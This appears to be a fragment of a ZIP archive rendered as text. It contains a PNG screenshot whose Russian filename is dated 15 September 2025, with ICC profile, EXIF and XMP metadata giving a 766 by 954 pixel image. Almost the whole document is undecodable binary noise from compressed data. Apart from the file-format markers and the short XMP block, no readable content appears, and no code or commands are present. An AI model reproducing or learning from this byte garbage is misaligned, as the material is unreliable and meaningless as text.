|��z4�/b��bp���h1^��<�Ǻ�8Z�*�w����<ɟ޺�S�>%~�Ӧu ,����]\T���O<*�A���k� *�Ҍ 9�d/	M3���t���2�f]O�g,gz�µ��&�Q!Y�W����<�42���,�V����R�~�0�`mC?���_b%�'�-Vp͖�޴P�U8~&��wJ�q�u}v�z��b`٦(����q݊k���J�О�6M)��lA�L�+�Xt�+Ԁ�1�Q���9����C��$�p%�*qGJ���j���u�%w\%pV��\���щ���|������?圃�>��]������%_��S����MF���%�:���D�
��Ca�tRN<~'sH��s�]�&�A����_A
oGR<�k�$d�7Oβ�޾�V;.��w�����(4boFI��L���ڪ,���1.qm��`��=;��6�8i�%��Yj�>����m��}菼�c�?��׶��̉�Ru�x��v�:�*�Mj"���PK��cT#��7�A����Em��E��]�l��O|��D�� ��ʃ#�/MA#���]�Y�U��+�¸�P/���^kje��1�i���d��[E���
��f�Vp���'D��;M�B� �~~�f�1ִ����]���;��2���,�?�H\��
R�,&k~��F�\��Ak��Zt����q�,D��äXO �tp�Vxq�-ïfC=�����ݴa��"�|�$f�5�8���%����X/�7!�qjG��,kiT�fw�+�|�������p��N�v}�k�}�<�"��d��s�d�q��W٘d�A�M�;et�"?���1�׹�z�2X����g��ϖ�	ţ'L֠�R�/����/��+#)�S�Ά�G�^'��ןk��j�~q�Õ/-�=��ΣJ�5����[s~k�2�
�r�y{�Y���R�'�p�ٶ|�
ȡi�[A���̻�{���ˈ� 9@�ߙ�ny�s���ά(��;C;��Bߥ���X5� �!&#���d׹
e@�����_�խ�B:�C�\<_�~�<���D,�B׋bτ:7넱�mZ-�����XqN�b�u���YsU�5#���
n��4>�S���(�D骒Jh&-���D��B�
Ij�&w�Z�	��5�ƒ�&X)�Ee
��Z��s�5�VO��������jMЬ�3T���+�3�U���߇��cUn�ʷf/	�;LWP9.��>��HJ�A�x��������UNZ�󺔡��b��#fI�NN���{e��L�I���	�?Z���u�+!z��v�I�|�Os1D�����d_V�ԛ�ى�2CƁ�w�۔��^g��0dP^\�va�5AAO����n�X6{������Lk%#�C<���c=��
���}�H'͓��֥1ȑ�Y͚���P��s���s�@ޅ�ʙ	Z�)"�~=��y�H�ө�5{\�v��佼���&���nh�z�{���p=E���|��(b=���}e*���:-���3pٸ<������>����;/����k-O�Q��v��l�@�w��l������$�C��$���F��u�!3oF~:�{tw���)��$��~���ȶ_P��Q�x�i�F˭����d$΄���k��ق�8*F�v��Y��l��{��ل�4��U�`�DV8��{,E�wt%*Qrq�w����X�]	W��~�?ׄ�SSݎ���n@�Elz�q��8E_N�y�%��>|ʯ\��
L�y'Y�l\e��'���.��-�w� v"P'�A]��̱s�Tb�΋�eLa��6�ra۔�ˍ���);��6�?r��Ml[�&�D�e�\��l�o�C��]�-�8�C���^/�$���n�"F��)/*���OGc�稿1�8%�㉕{ў�&�eN���@�z�kE"��D�4�4�dD��*[|й�91z�R[r4Q"3y�kB�[��C%�6�"R�w��P��l��E�P�p���q!؏pMئ��Gxpz�������+��^��1�ơ�[����O�E��b���!�Ԏ/�+F��DȾd�.�%���V}.����1�O���Aq��X�&!У���9&�R�v��u�;i@V�`Z�S(G�!���#�Th�z�
!|�$�U�ڄ�w��r���c�!��?��GkaI�����
Ӂ�C�=�8�����aj��״F�,���!�i�̌�)�즺�T�-�J(�Jb�/�O"vѐ��
���@_�����]R_X��u��%Jk�=v�w#�@�mV���(�mT�s���i��
�
j9G!¥�s:��-��eWq&�˭���}���x+{]+Q�(p`"m���7��=������R8.Q��JІF7X�`��~��ᙎ�R��Msß�wk�[)ڸQ�5z��gRx��a�!�ǘBg���T6j�2���8;��u�-�4_�bm�D�*ѕ�(Ϋ�e�reO�q�%�R��;�246h�szY��A�����ĊݙB��\V����ꩃ�gCE�����.>��Wo��KXI�u��t��^�&��fo��2�o����dz�^c���j��Yj9,Y�E��|�u��P\l�2�W��ܠ�p̰��h�K���i����u�fD-�B|�A��d _ʚ�n���-ji[os<Y"��.��{n�*�<�-�^Z(x��	�J���V&c��S�Q�-������h�Ph����cc�S:����_‰j7&,56��Lr�
8�:s(��uaŶ�f�cfgLH��(\��#����3Y�C���s$嗸��p��,�,��õ$�g`#�:<�ohzFbI�I��#���򔽐R��Rl�G��|�``���&��Q��7
���U�_b`��~w|,4��X�0��e��qk1��|z��]����"�w0����?���՝	�w7׿<�����W!�#<�~E��<�~w}|��5��w��'�_�[���|�;���e��w��-&
e�?\�~ca�����c�����_/V�l&PK!��ۙ>>4Снимок-экрана-2025-09-15-в-17.08.20.pngnu�[����PNG


IHDR����SwKiCCPICC ProfileH��WXS��[R!D@J�M�@J-��"�JH�cBP���
�]D��� ��aW��Z*+�b���	t�W�7�7w��ϙ�9w��;��Ri�	@�$O�����"u
��j����`h�^�������g�-ZB�\q�P.ȅ� x�@*��(����<���XG��J�3T�I��T�J�M\�'��|Yݐg�2�F�$B�b?�}rs'!��
��sҕ��t2���6���gbU,}� �Ks���t����V�LYH�2f��'ٓÔX����H��@q���^�����x�=j#�sa��1�X^?#��Alq�$'"�ߦ0]����C��y�8�� ��c�mN�&��{3]������>������>��)��c��q�S!�'D@�q�<;6��&� �1`#S�(c��X&�����tYPL���\�@�؉L1/�_�ˌQ�
{"�c��EN���H>.| �( P;NI�cU<�'��Q���9Q����('XɛA'Ϗ���J/��Eũ��˳��Q*� pA`�i`2��֮�.x��	| @����}=x��O�D@>8ο�W�!�u��ă������*��)Ĺ �{E��dЃ�2�xćUcȁU���;ÁLx?���E�$�!� �-n���^x8���ꌳq��8�����7�;�ą�!^��P?�??i?������?�
ա2��
�����pfW�r��Vf�5D�o���(N�2��G�:R�N�uPE����5m0�����sȾ�aC-�E��v��5a��������'}+n`��>����5��*3)w�q�t����M�SnF�d�t�8#3�Ł_�'8�`9;9�����^oo���+��;7�w������΅`�;|%��ٰ�E
��
Y��Õ|s������x���~ ��H��D�}&\�20��@(�P6���
��A=h'�Yp	\7�]�z:��
ށ����@���G�6�"�H���"�Q 3��H	�)G� ��>�0r���!w��H'���b�:���V�H��r�04��f�S�t�-C+�]hz���@��h05���b�b�X2��ɰ�X1V�Ub�X#|�װv���q���
��q>��/���*�?�_���7�`H�'xx�q��TB����p�p��;"��$Z��^L"fg�7�Oۈ��=$I�dO�&E���<Rii�8�*���F6!;����d	��\J�I>F�J~F�LѤXR<)�!e:ee��r��A�LբZS��q�,�<j��z�z��FMM�L�C-ZM�6W�Lm��y��jյ��Թ�)�
���;�O��QC�Ѭh~�dZm)��v����A����j�ѨШӸ��N�[�9��z)��2�K��i����k�֬�<�yK�G��5J+R+Wk��N�ZϵI�Vځ�B��[�Oi?f`s�!`�glc�at�u�ux:Y:%:�uZu�u�u]tt��V��mgbL+&���\��ϼ�4�hg�h��a�î{�7\�OO�W��G��'}�~�~��
�z�����A��T��g����.^<|���QC;���[
[{������F�Nu3�����W3�4a����MV�7�����rXe�ӬnSC�S���V��f�f�f�f{��S�����͛ͻ-L,�Z̴���͒bɶ̴\ky�򽕵U��B�z���z�<���{64_�)6�6�m��l�l�
�W�P;W�L�
�������~�}�����#n9�;p�j:2��_���<r��s#�9�:�8ms�;J{T��Q��^;�9�+�����=gt��W.�."��.�]�c]�6�~usw��պu�[����w���aG����{<�=�x4y|�t�������W��N��c�Lj�l���̛�Ż݇��٧��ԗ�[����O���ǖ����y���/�?��ɝ�=��j��>2��	�v
�|"��"�ψ'�U�C�Cg��S�
+{n.o��
�j��ID}$��E���e5%�H41:*�"�į��1�b��bwƾ��[w7�&^ߜ@OHI�Nx���2�}��q��]J2H'5$����'���f|G�kJQ��	��M�0�`b�ģ����RSw�~�G�+�=i���i��`���O�Z�)��=K�N_��<�;cUFg�ofif��+.��
�ڔ�>;2{GvoNbΞ\rnj�a��$[rz���i�ۤ��"i��)k�t��d��|��!O��(l?)��W���0��4�i�i-��/��� �����晦3��|8�3k�ldv���9�s��<�ju^��_�
W���8�q�т���SM�F����B����ċZ�^�n�ba����Ғ/KK.�<�粟{��/m]�l�r�r��+|WT��ZY��񪱫�V�V�~�fҚ�.���R�*ֶ���5��X�|ݗ����{��_���ᆫ�6�n2�T���f���[���UZU�n%n��t[¶s����n��d����U1U��ݫ�w�\V��(j:w�캲;`wC�C�=�=%{�^��?��?l���ڃ��b*�C��u�gַ7$5�=����x��M�MGu�.;F=��X���='�'�Nf�|�<���q����>�z&���AgO��;~�|���/�/�_r�T���r�W�_����]v��p��Jcۘ�cW}���p��u�K7"n�݌�y�Vʭ��������y�[�o��νG�W|_�~�������ݭ��À�-�b�},x��ɗ�OiOK��<�~��3�����x!}��O�?׿�yy�/��Z��uw����}���o]�6�D�<x�������>�?�������_H_ʾ�~m���^ono��/�
`@y�I�hI0๑:^u>�+��Lۇ�ª3d_q���Gw���[���ԧ�E ���Gց�\߹SY��l�y�״�4�o��L���C[�TuC�̃9�R�eXIfMM*>F(�iN����x����ASCIIScreenshot����	pHYs%%IR$��iTXtXML:com.adobe.xmp<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>954</exif:PixelYDimension>
         <exif:PixelXDimension>766</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
9�S�iDOT�(��|̗���@IDATx��ս�4�Ҥ#
�(�RTP��b�=���)��h��1��DS,QI4F�b��`A��
D��tD@z�?��{��sg����=ww��3s��9g�3c��=���om8&p˻��Hv� @ ��!�ɾ�����"O�� $��Ԛ���F���� ��@�W�q��i��� @ 9���uI])�_R�Aa @H�?�\�����b�P&@�*��_ɵ[�׆��p�P4@�*��_��Z����~QB@�*��_Y�Y6W���MUQP@�*��_!Yn����[�Q^@�ʝ�_�5X��G�˴�(6 @eK�/۪+�#��]�� ��#���_�UD����F.� �2"���QeURQ�J�M�� �r ���C-U`�
�T.	� ��&���t�Tn��ʭ[�� ��$���f�T|����b.� �#���X�$�8�Rj�� @�T ��R	+⟰
�r!@�s��WA2��'�޹j@���_w��3�����!@��@'Kğ�� �%����MnUn@� ���7�U@�� @��[��[��VE��V� @n	 �ny�[ğ[� �%����MnUn@� ���7�U@�� @��[��[��VE��V� @n	 �ny�[ğ[� �%����MnUn@� ���7�U@�� @��[��[��VE��V� @n	 �ny�[ğ[� �%����MnUn@� ���7�U@�� @��[��[��VE��V� @n	 �ny�[ğ[� �%����MnUn~g , @�@AԫW� �Tz"��װ}�K�*o~gPɕ�A� Pyx)�R����Uz��B @�$��Ŀ�w�������b�)�-|�w�\ @HK i/��[��d��G�-�3�R�6��i�-+�A� ��ڊ|m�ˮT��/��Ȳ$�Kh�5��'ѹ���I� P�j#�ٞ�m�rƊ��U�U�lB�K��N���o#�uZd@�`�$>]�AQ�q�\׈��\��gړԃ�����
���
wr� T*�L�w,.̰�t��)�5�_򵖪�i�Rl�ٲe.�z�9�r}�D����M^� �J$�I��Eâ�6�L��x崍��tm�J���-[[>�a���R��_j����g�r�[�>�8� ��@��gfDZ�m����8崍��lm�����0 �wceslhp�[�t���7���� P���<f�g�m�����帍��d�m��-o�~K��rL��8븵לS�
o�]�H� �� ��xG��f۬L6��ׄ���/�Z�b�q[���bo�2�Uk��n�\o|hJ�"�\?�/Z�� $�@���aq�&,�V`&,�m`��MX������-"^m+0XZ����I����A�H�-�[ﭥ}�&ҬeÒ�Z
@�
I`ӦMb�3ii��f[�m���L���㥾���T
�2o
fd^���o�W	���3��'v6	�� @�$�a�ٸq�l�8�{]��
'ݾ
�ı��i�/���,�F��H=)��ͬg�rI9�n%sE� �}X�~}���׵������`��a岍��DM��~-��h~/���,]vl.#��Y��ݢ$��B@� �R#�M�T�umd�H���2�a��}=&�Vۈ��R �Z�j[~@f�߱_+��M}��ִ߯�� �6��Ě�k��?F��ě}�;�޷/�ı�J}����~�~��e�f�;�!�u^�� ��!�������k4��R�F�봆�ү�1�K���}{Ҽ�N��!@(G��g͚5)M~T��G���1s��}^�kĿNk'*�F��P���w�����Ȼy���� �r&��M�_#��Z�����~t��+�5�_�5�~�W⛽�����_(*�3o�fr��L�U�UG�� �=�իWWk�od߬�"�����	/�5�_g5���^)���U�~?T�UCv�Y��%0N��C� P�u�~����}#�F�;^�	3W�7᥺F��f��j!T}$h�c^tF�r�k��Y��� T�U�V��c?n��䛵a�7᥸F��Vl��BT_���@���>Gw��w����!@�@%�N�:��
|ܗ�V=f߬
��	/�5�_g�b����n�c��o�����}����.uVj2� @�D@�������~
��Ƚ�Ͷa�7᥸F��V��kT���+����!<����@� ��گ�|��ǽ���5g�_)ܜ�����e���}?��}��{�f$���W��f-��7�]@� P+�Z+V�H��'����|�6F�Mx���:��L�o�y�H3�1oh���L!@�@�X�l�/�Q�7�z�*�F������R[#�uR#F�5�`[W��~sL4dSU��"�uR]d
@�@EP�Wy7�o��� ���/UX���}/_��~|��-
U�7�o�5t���`?: @�
C��K��N�57�"`��4ضĈ�䫾�J�u��}�8�	@�
C���
��~�6�o�>����”�x��ſxlӤ���g%��K_��`%� Ԓ���ʻʾ-���&�q�䛵	�e�NOC�����2��9��?��T��>�k�!@�lK�,�
��o�߬���c�2)��y��7��
z��h@��G���~t�_�bNd
@� PF�U�U�m�7a�
�_��J"�O��O֝��B� �@T���я��Tf/�}�X�l���yM�$��e�[6������~�拿�
#C@�*������o���uT���A�7ᥴF��׆-����~����[��mĿ�j�vʔ)��Gɧ�~*3gΔ�s��…e�ҥ�r�JY�~��L�F��y��Һuk�С�t��E�w�.�z��޽{K߾}�M�65e�q@�*���ŋ�6�F���J���d��{�����+�'�[^�h]�Џ;VƏ/o��L�6-%��>}��~��'C��aÆ�/y%��� �,�\�_/¼����Ul��k���>2g�y��G�'��q��9���*'�p��|��ҵkW�y� @�%`��
�~�O��_K���>*(u�?��|��'宻��?�s�__F�!�|1�'M@�@�ONv��u=j�(��[
ތ'�k��́.��"���k��q@�J��_•S�E�,�~g^�폎�o�'���
�u�]�w�-��֎��^z)/�PY�� C N�M�ӬǬ�t{�$�a��0����������k����P��\u�U2y�dWY4����˕W^I��R%1@�@�	 ��g���h�k���.�LF�=T��Ç�k���N�eY{��H�Ob�;�f���|��w��_쏵o�����p�
7ȹ�[�B�!@O�*��D�
�.�@n��v�[����?_n���6.
� P)�J�ɒ�����r�y�ɤI�J�v�Q��ʝw�)��k1�'M@��$���	���H���3F�<�̊kړ��M�6�����#�4A�!@(��TD�#���u�$/:�|p�� P��R���(S2�_��9rdE�`�q뭷2��9� P@�a��M y���l#�ՙ@�+�]���|�%�4�IC��'=�@�\@�]�NT^���{�QG%�vs��g�}���B#> @���%9C �Cv<8q���Z�v���L�0��>�F<@�@ �E�J�J �?hРČӟ�}��O�81�d8� �Z@�k	��j"P�⟄yk��\�3�o�Ĉ@(Ŀp,I)�@e�?�yS*;�W�}�?n�?�xNe�F>蠃�gϞ�`�kI࣏>�7�x��g��~��ҢE����d@I%��'��~ݕ+�s�̑�vۍv�������ԩS�k׮�L!�ӦL�"����.r�X�������Ks��\	�r�-��(��R��駲�N;���@�@���D��	T���u�Y2z�蜉p�Ç�{�wK@��"@�3I�?O��@ O��9=���'�|RN8�tMx�x�	9���s8#���n�\�F�]P&@�	 ���p$/�)��ɓ'�E��������{�h8����e�}�����o��/�0�M}Rp�'�w�q�l��ֱi����r�M7���O
v �D��	��'Py�?j�(9rd��Y#�[o���l�xR�������c�9&6�y��I�.]R���
6�vT}���×��}��{���UФI��t4�+R�j��ի��j�JfΜ)�|�M}�w�;����ˢ��ϟ/�oB��_������2R��~����银3�ڵk�>H�t�z���۵k'mڴ��'���նm���<�z�)�҉�ʕ+���5�?MS�x�v�A4h��q�F�~���S�z}����(�5k��5\?�c�=槻d��ԩ�p�2l�0iԨQ��9@�����Ty�ߣG_�V�E���ݻˌ3��G���O>��N:It򶸥C���3��^{�VYWa�eQ�=��E�C�w�}�����}��.-[����r�gD���W��+��R���?��@m��ۧĉ����I�.��29��c�P�Ӎv�-��+�3�<S�-[������<��ұcG?H_�:w�lg�֗Cz}���ґ���ϗ_~Y--}��������j	� ���xr��,��k���b}���|�����r��g���PH��&s}Q�ʿ�r�e��D_^����o�]��`�
}A9�S£���^���0�t�n����⋲�.����R����~�+��,z�@�K�]ү�+K�u��iӦUt����i�޳�K���#���\�X�paJQU���j+�={vJ�ʠ~!n֬�/|���@�/�v�L�s��M���M���x��~�֦=�7�O��뮻���G�W��k;}�Z��|��)�hӞE�U+��G-O?�t��?�ܾ6z��w�@����eT9��H>ſw���-NT��8i�6�'�x�_�c�ʡ��R|���s��_l�6�/��\~��a\��_��E�k[�hS��/�^{�/���W��U��n�A~�ӟ�I���{キ�x�~��/���O�nR�'��O���vO���n�|���D����
�#]����G��c�8f��
�q���˥�^j���?���{��S��׿��l�E����~fv��2�6�Ѧ>zP�wh=t��Mƍ�+�;�#{�gJ��@pI�wI;QyU��G�"Q���b�Sj���F�'����~Y�;�j���w)��oK���o9*��<�/Jq�?q�D8p�IN�߁6a�;�#�8B����
��/f���&_��,�kƂ��8���k$�)*��ׯ��
�iR���A;ۋ6��δ�r�qǥ��o~#W]u��߾�KD_��r���/f�^G�_y�h_vy�����>/]�v�!��_L��N�2�_G?�Qg)>m*R��|�D��⯂[�~���~{5ɜ4i��~��)�r���\%%oGg�뮻�`[ڵS��DI-�~	�U��:�0
�X�t���;����6�ю�v��>X��
�R��ٌ݁Z���vZ�ha��ך�_��0L现%0��,���$�EJ���M��>�l���,���_W�+>��C�4���*���f'�f"�)NTk+��^��/%�}�]ʗu��|�?N25MmV4b��mf�|��/�z�W^�<0�g6����Ӝ��_T�{��.��kӨ�N;-L;�
m��/h�%�뭷dРA�$���
2�oT-"�@��N^6�!���R����СC�q��S���V��]�N;�T��}��g)��#���@�0q_�W�Z�����E�h���c�G��fq<��G�ur����ap!�_��_9r]�_B�s��#����iz�uׅ�v�0�
@	 �a'+��ma�NV����j{r�B,q�j$6.�Lx�[�.�Ɯ��3�=5-:\iT
�m��t�e�&$�{nX�⮿6�ɼ��?��¸f㫯�򛧘}]k��*��o��0�6	z��g�
jO�UH��_-���d3�jӦMc���#��W�,��/=w�yg�s
�=:�g��k��k�ɯ��_�/k�JwT�T�
�ĉjm�_˳�;�LФ��}5Ϧ��6�Qɴ��D˞��j��A�E�1ՙ��xF�/�K��~l�i��PH���?h��A4N>��2�i�&Fd�����s�5�D�f��3濓�oMg��5��B�ۦ�V�K���
L��KZ1�+��D;p��#p����m��V��D5�ב�T���������{jW��h6:n|�cp>�i��曲�>��lD'��ݻw�����t���x�*U����=�������awεG���7:Yٯ�k�����
:�g\�kIGgе�g„	a��:��?�1�7����J�ê�m��$W�=�_���0�؀ ���r2�(�g�.�wn!'��|����kď~�#9r��yV��苋���g�f���_�uO��W���G�;��
��ihS}aЯ����S�+�4|�mO�]T��ϟ/*�:���س��q���hi��%���4j�H�����i/�~��G�5}���ꫯ��__4���(�Y�fU��m�a�@�	 ��&����[��,Y��.��X��Q҉��]�D5�W��1�_~�嬋�nb�|ſ���|Lܨؚ�t��P�q<ӝk�Uv�׈Ν;�A��_�O�/[&�t�3fT�Ǡq�|ҽ h��8�V�B3��qpA�wA9�y����?^t����y��fmJ'�����AG�����}]�+�6o�/�qK1�_���DV�:���:q��)%L��h���,q<ͱtk{fc�Sh��45��O>Y7k\�&�2'S�����M�L��!�$��������[�G��KR���D.���O��N�*��{J:�̑G�fv�Fq�:SZg�'�2i�Z�l�v�r�����3��1��
0��>�6�3�j��C�)�����M�2�9�m�Ur�N�&;�B�W�sW4h���8�)�v�C'��/��zX�?h�{1��af[gs>餓̮��:S���?���r�)~$��n�	�t�����H�ӄ�:��_�^�S�M�Ϳ�U�ƍ�$؆ P'�:���L�[��_��Pc�r���X�J�����p�f4m�I.kS���k;��/�\t���^{��F��ׯ_NM��Egڴi�"��Sk�
]��h
�8*�sA�E;T�/�W�}���N�UxT�M�O>�D�~�m��_��S��H,�J��_*5Qq�(o�?��c��U\5����9���% �N��Sw҉ݕ��!dG�ώ�r&P��?h� �Ü/��&0p�@�	�X���	���	%��#��gljX9(o��ѣ�?LbΗ�	y�޽�h�m���_zw�_zuB� �� ��q"V��[�u8I�t��@�֭E�Se	 ��w' ��W'�Ȏ�'b�L�����������|՜�?�xI;G�t�ٱcdž8~�T�H,<Ȇ:����Yn��F���g
@�T	 ��Z3e_���r٤�o�t�J@�
K�/,OR	 �!
6r&��猌 @5@�kDD��(o�O�j�g�ԧI� P��_�	!!P��O�ނ��J�ν���I� �	 �5""B����3�g�j�g1�g!(� @�:Ŀ:B
B��ş	�
r�*&�6N� �H�jG����O�'�x�v��Yy8�����+
N� @�:Ŀ:B
B����K.�n�� $H$7_|�\����Dl@�j$��׈��#P��?j�(9rd�.���"p뭷ʅ^�W�@�@u�u&��@y�����e�С!A"�7n�2$���
@�@���v�[��,Y"m۶�ݥsV^�?J:�* @�%���'���[��2v�m7�6mZxEl�@�>}d�ԩ�ψ @	$��'���\r���\ ��~�\��8�����n� @E ��*I*�����O�Nu:$0z�h9��3�X�Y}��LY�b��oPO��c�-L�ϙ��|1s�̝�H֬Y+7l���ҨQ#iѢ��i��k��J���C�j�0��;��%�=s���ֵ�t�My_��*��_�U\WX��p�B�رc]Ld�,�:$�����v�:�z�?�ؒ��/fΖ	���e�����Փ~}w�����δ�[�^6{��hР�4l� SԒ;���/d�;�r��k{9`�=�2nܸI6x/F�4n�(g�@]@��~E�]���s���2�R|:���/�\��J(�R�M�6ɘ�ޒ��
��i��l�zki߮��k����JV�X-K�[&�/��̔��7��y_��9l?i�M��|{c�����A��n�BN=��F��$�O��̛�Ŀܣ�W�tjg_:����_'ؓ�ie��M7�$?��O�Pau~�7�x���'?��r�,@)��J�CO��"��l�U#9|��ҩc��,���~��G�i�f��z�4lP�k�w�Vzy������L�gΚ'����e��;H�^�m����(؀J��_B�QYE��3g�l��U5%z5�gϖ�]��h�S�R���@>��+��{��"
�/���O�ݲҤq�ئ,�Y"O�yݏ�m�r�����;�.��.�
@�-lB%C�/�����T��k��x���OTZ���p�	���L�{��Ųj�jپ[gi԰zTm���Ţ�����\۝k3=��ҦuK��5�I�d+�*�K�.����I��M�u��u�f��;��o��'�y�O����e�A��i*�q��'3g����-��Q���ΔYsxM�Z�!�����`H�S�*m�r�K��b�j��`�הh�Ϡc��~�;�L۹�M�t�9Vh�׾�|��,ݷ�M�@�Ŀ
C�r��'�S�����?��|鍶�ҫ�i�wٺYy��ɾ�k��G�"��l��7?�ց�i�&�{��bG�y��)����<N8�@_|?��+����Ѿ��zn�w����Z��O���L�೰ͼIS��a��n;�}v�ǿ��|�e0�L���#��K�[!�<9��"}����|�я��ի�x��4�sN?<<�f�:y�{!�6���K��
�Rڤ�V~9��i�n䰡��8w����0x��eת�0+W���y�?���G�4
�я&L��h��lۥ�r�^~�";<ߺ��J���`މ=v�){��E�7Q���0���v�*C�{����g�x���ǟ}-S�~�G���?8�y��O��ɟ�a������Vj�W��8�ݦ��|�Av6lC	$��'���\r刿�b2���5Ś���/��W&L�ޱCY�0�hi���Wߜ"�xr�i��**��(5/��$3�^���{�P�M���S���:z�Y2��ԏgț�j��lWo��w�5g�<��D[�~ę�m�}�Kw���.m�n-'3���?��O=���?�=��]�c��yU}󝿿ӎ��$֖P=x�w^�����8�n�
ٱ{9��=�s�����o�q��1���8�H�s��v��_̒oݘt2��:�>��)����{l�I����=v��2����]��9s�t�6�?齏����8�{/��k����r�CQ���&��獐�	T���5JF����E��[o�/�0�4�N���>�_��5o"�(-�7Mi���T�v���*s�~
Xp��ߤŤg˥	k׮�'�A���_�^8��C����UI��m��/���خ����~���5u���<Y�xy��������
��<hp_��va<�q�7�蚪aD�oٹ��������}Y>�0\�|q�;�~��6����g�c�_^z���yb�ڣ�
L��KY�rM�������_H�eum�b
�c��~3�7`�7���A0Cfj��u�a��?ߺ1yfZlj��u�h�w���/�_M���6m�f_�|���W�6����-�ˑ^�*�ߐa
�B�υqs PY�ޣG�9sf�Z��ݻˌ3j�V��Q���e�=|�����4�
������QL��g�ڴO6�r���D�2�)�+^s�O?~MPy��i�&���҉�;S>��S>���R�+����a�b9~�d���l?<���ݮ^�c7�ѓ�tj��3N槣���/����b�Z���e�_�<��Ү}+9���m����7�/֋�s�6�О���a�%�EZ���Ƅ�{��kW�}�-͚��x��уt��5}8`;ߺ���O���S�i�o��L��d+��,��!�ȅ�-��@��ğ��9T�Q���_������I�~��C1���q��qt��s��_�������R_,�>�=|pf �>�B��}����1��O���r���N�&=����|�d�<��+~�8���l;�nS�u�a����6�Ѧ8ёx�=���i���u_��z̓��������,&=�I�9�I���3�
��~T��}��[^B�����T�;���ͧ6uc�nۅ�G�Y�� ��k@ �.����������[�����������:�Fd��t�O����/L�&YZ�G���q?����n0C��8��˵-�;l����>�l���;���y��-���ߜ�V)׎����)x�l��s�E�43�?�i�naR����[�߶SxL7�~�9����^�������p������B}���I��:ܧ�����I�[ʡa���f���u���e�"o��g_�i[�C��\�F�9���-m���L�⯿r���aȆ�
%�Ԃ@e�?#���VHsJ1F򱳲�_ۆ�]F{#ˬ�ꐫ�� f�)=g��$�4'�z���=o�]l��og^~x�-��W���_�����o���5k�����o��a��=S�-�vz�������/���_�u_;�>��X�%$�k�i�_�ut��F��?S�"��,v3#
3��{t$��Y�}�zݥ���M&��vݷ�b�������{/LA���ߦ�6 �-�?[R�ˑ@e��B8묳d���9� �M`���r��A߶������5i�մ����yʡ~4[.�W��տ�=_^x�m��m�ο'u���N��y_�_�4�F�T�����8��}�|g��&D�(;v�f�.�u��`�Ӱ�����T����_
��4��ک׌L��M&��_�]�9���I�L���:4����u�u�Oݔ���c����/z�>�k@ Y�dշë�\���|uxϥK����l�gպuk�:uj�g��F�ma�]G��m����Fg�u��~<[.��m'�㽿��~��>���}
�F�x��:��v۴�v^��;���ߚ⏖����6�h�q��^oLw�_�h]?�cs;턡Ҫe0�+��L�i�R�.Y��M��xۺhY7l��H��G���I�푇��~�	�u�Sa~�s��z>u���}5;~,���x�f$_���H�c&�<��c�%��'��|�+�
���#F�ae&�]wɹ�[�6�[��w��޽�B�r�n,uM��^Sm�s�C/�Y����N��}�a7%���^�7�f��ҹ�����H@���_�=nQiב�tT�Y��'x�巼�y���@w�����3��1���f�5�v�'Y��Io΀�Ush���h��eSg��kj��v�qƑ�v�u�'RßR��v�A�ݫO���/��5<@ ��DV����l�W�\p��~��.`VL���v�mN�'��0n(NSP^s�7��.}<�2�%��۝~�yf�����k��v{�/���æ�I�^�Qv4,N�u�һ��2�W'}��M�eF�I'�&��g��0}���go�ۧ�9�7�N��v�߁W_�t�^�h���,�vm[I�m���7��:������B��?jt�!s���*{2�|���#�v]��=�Q:>v�u�?]-�d@��U�����_a4H&M��k�f5p�@�81�U��Ud#�3gy�R�&��/�g���˧]��F�1#�{�~���0�r���	���]��I�L'�8�z�y���Ra?כŶa�ӱ=�n�|5��Ͻ^m�b
7��u;�����eI�$a�����#ݹ�������>���CzZ�
�����s�E��o�ѕۉ�$�x͜�E;?���a��C�z�,�u���[7v>鶳�\&-mN�}1tѦ[-�N�f�;��k�c7��Ծ�5]���e
�d@��]�E��d�����e�����N�v�&L�]w�>,a
���->�h�f�֑nTT�������)w�ĩ�_Qy�ʥ��6�љ�K�ԏg�'�}�I����G��_;��z�h3�����5�i&Z��ΔE����Z'�ڳo/�����n�Jc������ѧ^
�h���3m���rcҴ�cn����kmN���Ͳ�7��6�[�y�}���}v�cu��s�����[�C��v�k�Ϸn4���L�o�b�M���Y�i���3�=��=�晍��˕vN�_tt�~v����Y�u�dsL3Ճ �D@�Q�uq��%;f�9ꨣ�r����ʑGm�]:[��q����q���K��$Rf�]���t�jx�plj�Ƶ���E��\�pK��9U�I��T�I�g .m.��oȢ���G��7jN�V�=�
fA^�ut_�t�לi](�O�E��
s�����L�e��!9uT�G����!���{)�&Tڵ	��[7aB62���ˍI���,��0�+������լ�&�jk��a��!����D@�Y�..:9�4���rՙ7Z��g�ک��ٓQE���뫆�\wX������S�chD[.{3����'�E�`�g�!)m�3��蹛6m��O�Y���&%ڬ�H�N����կ_�oF=��z�2~��R��G�����k�"�-�N;l+{{_�5lXSt���Y2~����`�_�׭[/ϼ�f�ˇ��E����K�&��a&<ߺ1�dZ�͸���h���=w^0A��c��=�D�ך���fe���M�F�6��۵o%���<��X�mk��Sc&���a�|���q]a��_!�5JF�YG�K3�[o�U.����,\L�����_�zK�Y�6��f$q�-�fT m"3�kj�x�2i�
yٵS��yG\�´#��d鲕ұ}k��5A�q�x��[佸���-[z�}����=�{��̪��&@���~�zCw��^p6l� 
�&MM�6��"�?-�7Msv�`�eA�յ�i�w7gi���u�_�;y/c��uU7�\5����&���m�:�5����.���.�޽ڡ]�Z�s�� ��e�c	^E��_+��r+���o)y�[q��nb�͉N9~��D'��M�u�K9�M��!g@ ����|ѯ;��Xi�#RW�{�~[G2(u��j�7c�R'��G��M�Vb�����I�$�⯵�~�<��č�����w�}�;���V�r9g�72��q�F2o޷�0�G2�o*TW�\�[�u��A�@��D�/�d��Bԡ>�;�Č����y�N��,��Z�dJQ.�ь̅�ݦ��|�Af7�R��D��"!��&���t��s�S{I��|�3����֑n>�b�_���M�L�U�e���\y�w�"4j�P�u�F:`@�#���5"�R��B\i@ȇ�=��@��h���/���hӞn�A�=�\�rن @�	 �%X)�Q$�?Z�s�̑�.�LF�=T��Ç�k��V�v�Z���� ��@��V�ή�O���'�����J&O&�J�T���/W^y���ZD�@�@�?
A� ���DQ����d�̙5E-��ݻw�K/���&�*	p� P"����+�m���-��"ӦM�����#]t��:�A�
